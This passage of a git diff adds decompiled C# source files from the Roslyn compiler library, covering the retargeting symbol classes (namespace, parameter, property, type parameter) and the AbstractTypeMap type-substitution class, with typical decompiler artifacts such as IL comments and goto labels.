b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingNamespaceSymbol.cs new file mode 100644 index 0000000..ea5ccc3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingNamespaceSymbol.cs @@ -0,0 +1,143 @@ +using System; +using System.Collections.Immutable; +using System.Globalization; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting; + +internal sealed class RetargetingNamespaceSymbol : NamespaceSymbol +{ + private readonly RetargetingModuleSymbol _retargetingModule; + + private readonly NamespaceSymbol _underlyingNamespace; + + private RetargetingModuleSymbol.RetargetingSymbolTranslator RetargetingTranslator => _retargetingModule.RetargetingTranslator; + + public NamespaceSymbol UnderlyingNamespace => _underlyingNamespace; + + internal override NamespaceExtent Extent => new NamespaceExtent(_retargetingModule); + + public override Symbol ContainingSymbol => RetargetingTranslator.Retarget(_underlyingNamespace.ContainingSymbol); + + public override ImmutableArray Locations => _retargetingModule.Locations; + + public override ImmutableArray DeclaringSyntaxReferences => _underlyingNamespace.DeclaringSyntaxReferences; + + public override AssemblySymbol ContainingAssembly => _retargetingModule.ContainingAssembly; + + internal override ModuleSymbol ContainingModule => _retargetingModule; + + public override bool IsGlobalNamespace => _underlyingNamespace.IsGlobalNamespace; + + public override string Name => _underlyingNamespace.Name; + + internal sealed override CSharpCompilation DeclaringCompilation => null; + + public RetargetingNamespaceSymbol(RetargetingModuleSymbol retargetingModule, NamespaceSymbol underlyingNamespace) + { + _retargetingModule = retargetingModule; + _underlyingNamespace = underlyingNamespace; + } + + public override ImmutableArray GetMembers() + { + return RetargetMembers(_underlyingNamespace.GetMembers()); + } + + private ImmutableArray RetargetMembers(ImmutableArray underlyingMembers) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + ArrayBuilder instance = ArrayBuilder.GetInstance(underlyingMembers.Length); + ImmutableArray.Enumerator enumerator = underlyingMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind != 11 || !((NamedTypeSymbol)current).IsExplicitDefinitionOfNoPiaLocalType) + { + instance.Add(RetargetingTranslator.Retarget(current)); + } + } + return instance.ToImmutableAndFree(); + } + + internal override ImmutableArray GetMembersUnordered() + { + return RetargetMembers(_underlyingNamespace.GetMembersUnordered()); + } + + public override ImmutableArray GetMembers(ReadOnlyMemory name) + { + return RetargetMembers(_underlyingNamespace.GetMembers(name)); + } + + internal override ImmutableArray GetTypeMembersUnordered() + { + return RetargetTypeMembers(_underlyingNamespace.GetTypeMembersUnordered()); + } + + public override ImmutableArray GetTypeMembers() + { + return RetargetTypeMembers(_underlyingNamespace.GetTypeMembers()); + } + + private ImmutableArray RetargetTypeMembers(ImmutableArray underlyingMembers) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(underlyingMembers.Length); + ImmutableArray.Enumerator enumerator = underlyingMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (!current.IsExplicitDefinitionOfNoPiaLocalType) + { + instance.Add(RetargetingTranslator.Retarget(current, RetargetOptions.RetargetPrimitiveTypesByName)); + } + } + return instance.ToImmutableAndFree(); + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return RetargetTypeMembers(_underlyingNamespace.GetTypeMembers(name)); + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return RetargetTypeMembers(_underlyingNamespace.GetTypeMembers(name, arity)); + } + + public override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return _underlyingNamespace.GetDocumentationCommentXml(preferredCulture, expandIncludes, cancellationToken); + } + + internal override NamedTypeSymbol? LookupMetadataType(ref MetadataTypeName typeName) + { + NamedTypeSymbol namedTypeSymbol = _underlyingNamespace.LookupMetadataType(ref typeName); + if ((object)namedTypeSymbol == null) + { + return null; + } + if (namedTypeSymbol.IsExplicitDefinitionOfNoPiaLocalType) + { + return null; + } + return RetargetingTranslator.Retarget(namedTypeSymbol, RetargetOptions.RetargetPrimitiveTypesByName); + } + + internal override void GetExtensionMethods(ArrayBuilder methods, string nameOpt, int arity, LookupOptions options) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + _underlyingNamespace.GetExtensionMethods(instance, nameOpt, arity, options); + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current = enumerator.Current; + methods.Add(RetargetingTranslator.Retarget(current)); + } + instance.Free(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingParameterSymbol.cs new file mode 100644 index 0000000..780f085 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingParameterSymbol.cs @@ -0,0 +1,66 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting; + +internal abstract class RetargetingParameterSymbol : WrappedParameterSymbol +{ + private ImmutableArray _lazyRefCustomModifiers; + + private ImmutableArray _lazyCustomAttributes; + + private TypeWithAnnotations.Boxed? _lazyTypeWithAnnotations; + + protected abstract RetargetingModuleSymbol RetargetingModule { get; } + + public sealed override TypeWithAnnotations TypeWithAnnotations + { + get + { + if (_lazyTypeWithAnnotations == null) + { + Interlocked.CompareExchange(ref _lazyTypeWithAnnotations, new TypeWithAnnotations.Boxed(RetargetingModule.RetargetingTranslator.Retarget(_underlyingParameter.TypeWithAnnotations, RetargetOptions.RetargetPrimitiveTypesByTypeCode)), null); + } + return _lazyTypeWithAnnotations.Value; + } + } + + public sealed override ImmutableArray RefCustomModifiers => RetargetingModule.RetargetingTranslator.RetargetModifiers(_underlyingParameter.RefCustomModifiers, ref _lazyRefCustomModifiers); + + public sealed override Symbol ContainingSymbol => RetargetingModule.RetargetingTranslator.Retarget(_underlyingParameter.ContainingSymbol); + + public sealed override AssemblySymbol ContainingAssembly => RetargetingModule.ContainingAssembly; + + internal sealed override ModuleSymbol ContainingModule => RetargetingModule; + + internal sealed override bool HasMetadataConstantValue => _underlyingParameter.HasMetadataConstantValue; + + internal sealed override bool IsMarshalledExplicitly => _underlyingParameter.IsMarshalledExplicitly; + + internal override MarshalPseudoCustomAttributeData MarshallingInformation => RetargetingModule.RetargetingTranslator.Retarget(_underlyingParameter.MarshallingInformation); + + internal override ImmutableArray MarshallingDescriptor => _underlyingParameter.MarshallingDescriptor; + + internal sealed override CSharpCompilation? DeclaringCompilation => null; + + internal sealed override ImmutableArray InterpolatedStringHandlerArgumentIndexes => _underlyingParameter.InterpolatedStringHandlerArgumentIndexes; + + internal override bool HasInterpolatedStringHandlerArgumentError => _underlyingParameter.HasInterpolatedStringHandlerArgumentError; + + protected RetargetingParameterSymbol(ParameterSymbol underlyingParameter) + : base(underlyingParameter) + { + } + + public sealed override ImmutableArray GetAttributes() + { + return RetargetingModule.RetargetingTranslator.GetRetargetedAttributes(_underlyingParameter.GetAttributes(), ref _lazyCustomAttributes); + } + + internal sealed override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + return RetargetingModule.RetargetingTranslator.RetargetAttributes(_underlyingParameter.GetCustomAttributesToEmit(moduleBuilder)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingPropertyParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingPropertyParameterSymbol.cs new file mode 100644 index 0000000..f0bb9f7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingPropertyParameterSymbol.cs @@ -0,0 +1,22 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting; + +internal sealed class RetargetingPropertyParameterSymbol : RetargetingParameterSymbol +{ + private readonly RetargetingPropertySymbol _retargetingProperty; + + protected override RetargetingModuleSymbol RetargetingModule => _retargetingProperty.RetargetingModule; + + internal override bool IsCallerLineNumber => _underlyingParameter.IsCallerLineNumber; + + internal override bool IsCallerFilePath => _underlyingParameter.IsCallerFilePath; + + internal override bool IsCallerMemberName => _underlyingParameter.IsCallerMemberName; + + internal override int CallerArgumentExpressionParameterIndex => _underlyingParameter.CallerArgumentExpressionParameterIndex; + + public RetargetingPropertyParameterSymbol(RetargetingPropertySymbol retargetingProperty, ParameterSymbol underlyingParameter) + : base(underlyingParameter) + { + _retargetingProperty = retargetingProperty; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingPropertySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingPropertySymbol.cs new file mode 100644 index 0000000..9176dac --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingPropertySymbol.cs @@ -0,0 +1,175 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting; + +internal sealed class RetargetingPropertySymbol : WrappedPropertySymbol +{ + private readonly RetargetingModuleSymbol _retargetingModule; + + private ImmutableArray _lazyExplicitInterfaceImplementations; + + private ImmutableArray _lazyParameters; + + private ImmutableArray _lazyRefCustomModifiers; + + private ImmutableArray _lazyCustomAttributes; + + private CachedUseSiteInfo _lazyCachedUseSiteInfo = CachedUseSiteInfo.Uninitialized; + + private TypeWithAnnotations.Boxed _lazyType; + + private RetargetingModuleSymbol.RetargetingSymbolTranslator RetargetingTranslator => _retargetingModule.RetargetingTranslator; + + public RetargetingModuleSymbol RetargetingModule => _retargetingModule; + + public override TypeWithAnnotations TypeWithAnnotations + { + get + { + if (_lazyType == null) + { + TypeWithAnnotations value = RetargetingTranslator.Retarget(_underlyingProperty.TypeWithAnnotations, RetargetOptions.RetargetPrimitiveTypesByTypeCode); + if (value.Type.TryAsDynamicIfNoPia(ContainingType, out TypeSymbol result)) + { + value = TypeWithAnnotations.Create(result); + } + Interlocked.CompareExchange(ref _lazyType, new TypeWithAnnotations.Boxed(value), null); + } + return _lazyType.Value; + } + } + + public override ImmutableArray RefCustomModifiers => RetargetingTranslator.RetargetModifiers(_underlyingProperty.RefCustomModifiers, ref _lazyRefCustomModifiers); + + public override ImmutableArray Parameters + { + get + { + if (_lazyParameters.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyParameters, RetargetParameters(), default(ImmutableArray)); + } + return _lazyParameters; + } + } + + public override MethodSymbol GetMethod + { + get + { + if ((object)_underlyingProperty.GetMethod != null) + { + return RetargetingTranslator.Retarget(_underlyingProperty.GetMethod); + } + return null; + } + } + + public override MethodSymbol SetMethod + { + get + { + if ((object)_underlyingProperty.SetMethod != null) + { + return RetargetingTranslator.Retarget(_underlyingProperty.SetMethod); + } + return null; + } + } + + internal override bool IsExplicitInterfaceImplementation => _underlyingProperty.IsExplicitInterfaceImplementation; + + public override ImmutableArray ExplicitInterfaceImplementations + { + get + { + if (_lazyExplicitInterfaceImplementations.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyExplicitInterfaceImplementations, RetargetExplicitInterfaceImplementations(), default(ImmutableArray)); + } + return _lazyExplicitInterfaceImplementations; + } + } + + public override Symbol ContainingSymbol => RetargetingTranslator.Retarget(_underlyingProperty.ContainingSymbol); + + public override AssemblySymbol ContainingAssembly => _retargetingModule.ContainingAssembly; + + internal override ModuleSymbol ContainingModule => _retargetingModule; + + internal override bool MustCallMethodsDirectly => _underlyingProperty.MustCallMethodsDirectly; + + internal sealed override CSharpCompilation DeclaringCompilation => null; + + public RetargetingPropertySymbol(RetargetingModuleSymbol retargetingModule, PropertySymbol underlyingProperty) + : base(underlyingProperty) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + _retargetingModule = retargetingModule; + } + + private ImmutableArray RetargetParameters() + { + ImmutableArray parameters = _underlyingProperty.Parameters; + int length = parameters.Length; + if (length == 0) + { + return ImmutableArray.Empty; + } + ParameterSymbol[] array = new ParameterSymbol[length]; + for (int i = 0; i < length; i++) + { + array[i] = new RetargetingPropertyParameterSymbol(this, parameters[i]); + } + return ImmutableArrayExtensions.AsImmutableOrNull(array); + } + + private ImmutableArray RetargetExplicitInterfaceImplementations() + { + ImmutableArray explicitInterfaceImplementations = _underlyingProperty.ExplicitInterfaceImplementations; + if (explicitInterfaceImplementations.IsEmpty) + { + return explicitInterfaceImplementations; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + for (int i = 0; i < explicitInterfaceImplementations.Length; i++) + { + PropertySymbol propertySymbol = RetargetingTranslator.Retarget(explicitInterfaceImplementations[i], MemberSignatureComparer.RetargetedExplicitImplementationComparer); + if ((object)propertySymbol != null) + { + instance.Add(propertySymbol); + } + } + return instance.ToImmutableAndFree(); + } + + public override ImmutableArray GetAttributes() + { + return RetargetingTranslator.GetRetargetedAttributes(_underlyingProperty.GetAttributes(), ref _lazyCustomAttributes); + } + + internal override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + return RetargetingTranslator.RetargetAttributes(_underlyingProperty.GetCustomAttributesToEmit(moduleBuilder)); + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + AssemblySymbol primaryDependency = base.PrimaryDependency; + if (!_lazyCachedUseSiteInfo.IsInitialized) + { + UseSiteInfo result = default(UseSiteInfo); + result._002Ector(primaryDependency); + CalculateUseSiteDiagnostic(ref result); + _lazyCachedUseSiteInfo.Initialize(primaryDependency, result); + } + return _lazyCachedUseSiteInfo.ToUseSiteInfo(primaryDependency); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingTypeParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingTypeParameterSymbol.cs new file mode 100644 index 0000000..12b8be2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingTypeParameterSymbol.cs @@ -0,0 +1,54 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting; + +internal sealed class RetargetingTypeParameterSymbol : WrappedTypeParameterSymbol +{ + private readonly RetargetingModuleSymbol _retargetingModule; + + private ImmutableArray _lazyCustomAttributes; + + private RetargetingModuleSymbol.RetargetingSymbolTranslator RetargetingTranslator => _retargetingModule.RetargetingTranslator; + + public override Symbol ContainingSymbol => RetargetingTranslator.Retarget(_underlyingTypeParameter.ContainingSymbol); + + public override AssemblySymbol ContainingAssembly => _retargetingModule.ContainingAssembly; + + internal override ModuleSymbol ContainingModule => _retargetingModule; + + internal override bool? IsNotNullable => _underlyingTypeParameter.IsNotNullable; + + internal sealed override CSharpCompilation DeclaringCompilation => null; + + public RetargetingTypeParameterSymbol(RetargetingModuleSymbol retargetingModule, TypeParameterSymbol underlyingTypeParameter) + : base(underlyingTypeParameter) + { + _retargetingModule = retargetingModule; + } + + public override ImmutableArray GetAttributes() + { + return RetargetingTranslator.GetRetargetedAttributes(_underlyingTypeParameter.GetAttributes(), ref _lazyCustomAttributes); + } + + internal override ImmutableArray GetConstraintTypes(ConsList inProgress) + { + return RetargetingTranslator.Retarget(_underlyingTypeParameter.GetConstraintTypes(inProgress)); + } + + internal override ImmutableArray GetInterfaces(ConsList inProgress) + { + return RetargetingTranslator.Retarget(_underlyingTypeParameter.GetInterfaces(inProgress)); + } + + internal override NamedTypeSymbol GetEffectiveBaseClass(ConsList inProgress) + { + return RetargetingTranslator.Retarget(_underlyingTypeParameter.GetEffectiveBaseClass(inProgress), RetargetOptions.RetargetPrimitiveTypesByTypeCode); + } + + internal override TypeSymbol GetDeducedBaseType(ConsList inProgress) + { + return RetargetingTranslator.Retarget(_underlyingTypeParameter.GetDeducedBaseType(inProgress), RetargetOptions.RetargetPrimitiveTypesByTypeCode); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AbstractTypeMap.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AbstractTypeMap.cs new file mode 100644 index 0000000..c27ff39 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AbstractTypeMap.cs @@ -0,0 +1,384 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class AbstractTypeMap +{ + internal virtual NamedTypeSymbol SubstituteTypeDeclaration(NamedTypeSymbol previous) + { + NamedTypeSymbol namedTypeSymbol = SubstituteNamedType(previous.ContainingType); + if ((object)namedTypeSymbol == null) + { + return previous; + } + return previous.OriginalDefinition.AsMember(namedTypeSymbol); + } + + internal NamedTypeSymbol SubstituteNamedType(NamedTypeSymbol previous) + { + if ((object)previous == null) + { + return null; + } + if (previous.IsUnboundGenericType) + { + return previous; + } + if (previous.IsAnonymousType) + { + return ((AnonymousTypeManager.AnonymousTypeOrDelegatePublicSymbol)previous).SubstituteTypes(this); + } + NamedTypeSymbol constructedFrom = previous.ConstructedFrom; + NamedTypeSymbol namedTypeSymbol = SubstituteTypeDeclaration(constructedFrom); + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics = previous.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + bool flag = (object)constructedFrom != namedTypeSymbol; + ArrayBuilder instance = ArrayBuilder.GetInstance(typeArgumentsWithAnnotationsNoUseSiteDiagnostics.Length); + for (int i = 0; i < typeArgumentsWithAnnotationsNoUseSiteDiagnostics.Length; i++) + { + TypeWithAnnotations typeWithAnnotations = typeArgumentsWithAnnotationsNoUseSiteDiagnostics[i]; + TypeWithAnnotations typeWithAnnotations2 = typeWithAnnotations.SubstituteType(this); + if (!flag && !typeWithAnnotations.IsSameAs(typeWithAnnotations2)) + { + flag = true; + } + instance.Add(typeWithAnnotations2); + } + if (!flag) + { + instance.Free(); + return previous; + } + return namedTypeSymbol.ConstructIfGeneric(instance.ToImmutableAndFree()).WithTupleDataFrom(previous); + } + + internal TypeWithAnnotations SubstituteType(TypeSymbol previous) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Invalid comparison between Unknown and I4 + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected I4, but got Unknown + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Invalid comparison between Unknown and I4 + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Invalid comparison between Unknown and I4 + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Invalid comparison between Unknown and I4 + if ((object)previous == null) + { + return default(TypeWithAnnotations); + } + SymbolKind kind = previous.Kind; + TypeSymbol typeSymbol; + if ((int)kind <= 11) + { + switch (kind - 1) + { + case 0: + goto IL_0065; + case 2: + goto IL_0092; + case 3: + return ((ErrorTypeSymbol)previous).Substitute(this); + case 1: + goto IL_00a8; + } + if ((int)kind != 11) + { + goto IL_00a8; + } + typeSymbol = SubstituteNamedType((NamedTypeSymbol)previous); + } + else if ((int)kind != 14) + { + if ((int)kind == 17) + { + return SubstituteTypeParameter((TypeParameterSymbol)previous); + } + if ((int)kind != 20) + { + goto IL_00a8; + } + typeSymbol = SubstituteFunctionPointerType((FunctionPointerTypeSymbol)previous); + } + else + { + typeSymbol = SubstitutePointerType((PointerTypeSymbol)previous); + } + goto IL_00aa; + IL_0092: + typeSymbol = SubstituteDynamicType(); + goto IL_00aa; + IL_00aa: + return TypeWithAnnotations.Create(typeSymbol); + IL_0065: + typeSymbol = SubstituteArrayType((ArrayTypeSymbol)previous); + goto IL_00aa; + IL_00a8: + typeSymbol = previous; + goto IL_00aa; + } + + internal TypeWithAnnotations SubstituteType(TypeWithAnnotations previous) + { + return previous.SubstituteType(this); + } + + internal virtual ImmutableArray SubstituteCustomModifiers(ImmutableArray customModifiers) + { + if (customModifiers.IsDefaultOrEmpty) + { + return customModifiers; + } + for (int i = 0; i < customModifiers.Length; i++) + { + NamedTypeSymbol modifierSymbol = ((CSharpCustomModifier)(object)customModifiers[i]).ModifierSymbol; + NamedTypeSymbol namedTypeSymbol = SubstituteNamedType(modifierSymbol); + if (TypeSymbol.Equals(modifierSymbol, namedTypeSymbol, (TypeCompareKind)0)) + { + continue; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(customModifiers.Length); + instance.AddRange(customModifiers, i); + instance.Add(customModifiers[i].IsOptional ? CSharpCustomModifier.CreateOptional(namedTypeSymbol) : CSharpCustomModifier.CreateRequired(namedTypeSymbol)); + for (i++; i < customModifiers.Length; i++) + { + modifierSymbol = ((CSharpCustomModifier)(object)customModifiers[i]).ModifierSymbol; + namedTypeSymbol = SubstituteNamedType(modifierSymbol); + if (!TypeSymbol.Equals(modifierSymbol, namedTypeSymbol, (TypeCompareKind)0)) + { + instance.Add(customModifiers[i].IsOptional ? CSharpCustomModifier.CreateOptional(namedTypeSymbol) : CSharpCustomModifier.CreateRequired(namedTypeSymbol)); + } + else + { + instance.Add(customModifiers[i]); + } + } + return instance.ToImmutableAndFree(); + } + return customModifiers; + } + + protected virtual TypeSymbol SubstituteDynamicType() + { + return DynamicTypeSymbol.Instance; + } + + protected virtual TypeWithAnnotations SubstituteTypeParameter(TypeParameterSymbol typeParameter) + { + return TypeWithAnnotations.Create(typeParameter); + } + + private ArrayTypeSymbol SubstituteArrayType(ArrayTypeSymbol t) + { + TypeWithAnnotations elementTypeWithAnnotations = t.ElementTypeWithAnnotations; + TypeWithAnnotations elementTypeWithAnnotations2 = elementTypeWithAnnotations.SubstituteType(this); + if (elementTypeWithAnnotations2.IsSameAs(elementTypeWithAnnotations)) + { + return t; + } + if (t.IsSZArray) + { + ImmutableArray constructedInterfaces = t.InterfacesNoUseSiteDiagnostics(); + if (constructedInterfaces.Length == 1) + { + constructedInterfaces = ImmutableArray.Create(SubstituteNamedType(constructedInterfaces[0])); + } + else if (constructedInterfaces.Length == 2) + { + constructedInterfaces = ImmutableArray.Create(SubstituteNamedType(constructedInterfaces[0]), SubstituteNamedType(constructedInterfaces[1])); + } + else if (constructedInterfaces.Length != 0) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/AbstractTypeMap.cs", 209); + } + return ArrayTypeSymbol.CreateSZArray(elementTypeWithAnnotations2, t.BaseTypeNoUseSiteDiagnostics, constructedInterfaces); + } + return ArrayTypeSymbol.CreateMDArray(elementTypeWithAnnotations2, t.Rank, t.Sizes, t.LowerBounds, t.BaseTypeNoUseSiteDiagnostics); + } + + private PointerTypeSymbol SubstitutePointerType(PointerTypeSymbol t) + { + TypeWithAnnotations pointedAtTypeWithAnnotations = t.PointedAtTypeWithAnnotations; + TypeWithAnnotations pointedAtType = pointedAtTypeWithAnnotations.SubstituteType(this); + if (pointedAtType.IsSameAs(pointedAtTypeWithAnnotations)) + { + return t; + } + return new PointerTypeSymbol(pointedAtType); + } + + private FunctionPointerTypeSymbol SubstituteFunctionPointerType(FunctionPointerTypeSymbol f) + { + TypeWithAnnotations typeWithAnnotations = f.Signature.ReturnTypeWithAnnotations.SubstituteType(this); + ImmutableArray refCustomModifiers = f.Signature.RefCustomModifiers; + ImmutableArray immutableArray = SubstituteCustomModifiers(refCustomModifiers); + ImmutableArray parameterTypesWithAnnotations = f.Signature.ParameterTypesWithAnnotations; + ImmutableArray immutableArray2 = SubstituteTypes(parameterTypesWithAnnotations); + ImmutableArray> paramRefCustomModifiers = default(ImmutableArray>); + int length = f.Signature.Parameters.Length; + if (length > 0) + { + ArrayBuilder> instance = ArrayBuilder>.GetInstance(length); + bool flag = false; + ImmutableArray.Enumerator enumerator = f.Signature.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + ImmutableArray immutableArray3 = SubstituteCustomModifiers(current.RefCustomModifiers); + instance.Add(immutableArray3); + if (immutableArray3 != current.RefCustomModifiers) + { + flag = true; + } + } + if (flag) + { + paramRefCustomModifiers = instance.ToImmutableAndFree(); + } + else + { + instance.Free(); + } + } + if (immutableArray2 != parameterTypesWithAnnotations || !paramRefCustomModifiers.IsDefault || !f.Signature.ReturnTypeWithAnnotations.IsSameAs(typeWithAnnotations) || immutableArray != refCustomModifiers) + { + f = f.SubstituteTypeSymbol(typeWithAnnotations, immutableArray2, refCustomModifiers, paramRefCustomModifiers); + } + return f; + } + + internal ImmutableArray SubstituteTypesWithoutModifiers(ImmutableArray original) + { + if (original.IsDefault) + { + return original; + } + TypeSymbol[] array = null; + for (int i = 0; i < original.Length; i++) + { + TypeSymbol typeSymbol = original[i]; + TypeSymbol type = SubstituteType(typeSymbol).Type; + if ((object)type != typeSymbol && array == null) + { + array = new TypeSymbol[original.Length]; + for (int j = 0; j < i; j++) + { + array[j] = original[j]; + } + } + if (array != null) + { + array[i] = type; + } + } + if (array == null) + { + return original; + } + return ImmutableArrayExtensions.AsImmutableOrNull(array); + } + + internal ImmutableArray SubstituteTypes(ImmutableArray original) + { + if (original.IsDefault) + { + return default(ImmutableArray); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(original.Length); + ImmutableArray.Enumerator enumerator = original.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations current = enumerator.Current; + instance.Add(SubstituteType(current)); + } + return instance.ToImmutableAndFree(); + } + + internal void SubstituteConstraintTypesDistinctWithoutModifiers(TypeParameterSymbol owner, ImmutableArray original, ArrayBuilder result, HashSet ignoreTypesDependentOnTypeParametersOpt) + { + DynamicTypeEraser dynamicEraser = null; + if (original.Length == 0) + { + return; + } + if (original.Length == 1) + { + TypeWithAnnotations type = original[0]; + if (ignoreTypesDependentOnTypeParametersOpt == null || !type.Type.ContainsTypeParameters(ignoreTypesDependentOnTypeParametersOpt)) + { + result.Add(substituteConstraintType(type)); + } + return; + } + PooledDictionary instance = PooledDictionary.GetInstance(); + ImmutableArray.Enumerator enumerator = original.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations current = enumerator.Current; + if (ignoreTypesDependentOnTypeParametersOpt == null || !current.Type.ContainsTypeParameters(ignoreTypesDependentOnTypeParametersOpt)) + { + TypeWithAnnotations typeWithAnnotations = substituteConstraintType(current); + if (!((Dictionary)(object)instance).TryGetValue(typeWithAnnotations.Type, out int value)) + { + ((Dictionary)(object)instance).Add(typeWithAnnotations.Type, result.Count); + result.Add(typeWithAnnotations); + } + else + { + result[value] = ConstraintsHelper.ConstraintWithMostSignificantNullability(result[value], typeWithAnnotations); + } + } + } + instance.Free(); + TypeWithAnnotations substituteConstraintType(TypeWithAnnotations previous) + { + if (dynamicEraser == null) + { + dynamicEraser = new DynamicTypeEraser(owner.ContainingAssembly.CorLibrary.GetSpecialType((SpecialType)1)); + } + TypeWithAnnotations typeWithAnnotations2 = SubstituteType(previous); + return typeWithAnnotations2.WithTypeAndModifiers(dynamicEraser.EraseDynamic(typeWithAnnotations2.Type), typeWithAnnotations2.CustomModifiers); + } + } + + internal ImmutableArray SubstituteTypeParameters(ImmutableArray original) + { + return ImmutableArrayExtensions.SelectAsArray(original, (Func)((TypeParameterSymbol tp, AbstractTypeMap m) => (TypeParameterSymbol)m.SubstituteTypeParameter(tp).AsTypeSymbolOnly()), this); + } + + internal ImmutableArray SubstituteNamedTypes(ImmutableArray original) + { + NamedTypeSymbol[] array = null; + for (int i = 0; i < original.Length; i++) + { + NamedTypeSymbol namedTypeSymbol = original[i]; + NamedTypeSymbol namedTypeSymbol2 = SubstituteNamedType(namedTypeSymbol); + if ((object)namedTypeSymbol2 != namedTypeSymbol && array == null) + { + array = new NamedTypeSymbol[original.Length]; + for (int j = 0; j < i; j++) + { + array[j] = original[j]; + } + } + if (array != null) + { + array[i] = namedTypeSymbol2; + } + } + if (array == null) + { + return original; + } + return ImmutableArrayExtensions.AsImmutableOrNull(array); + } +} diff --git 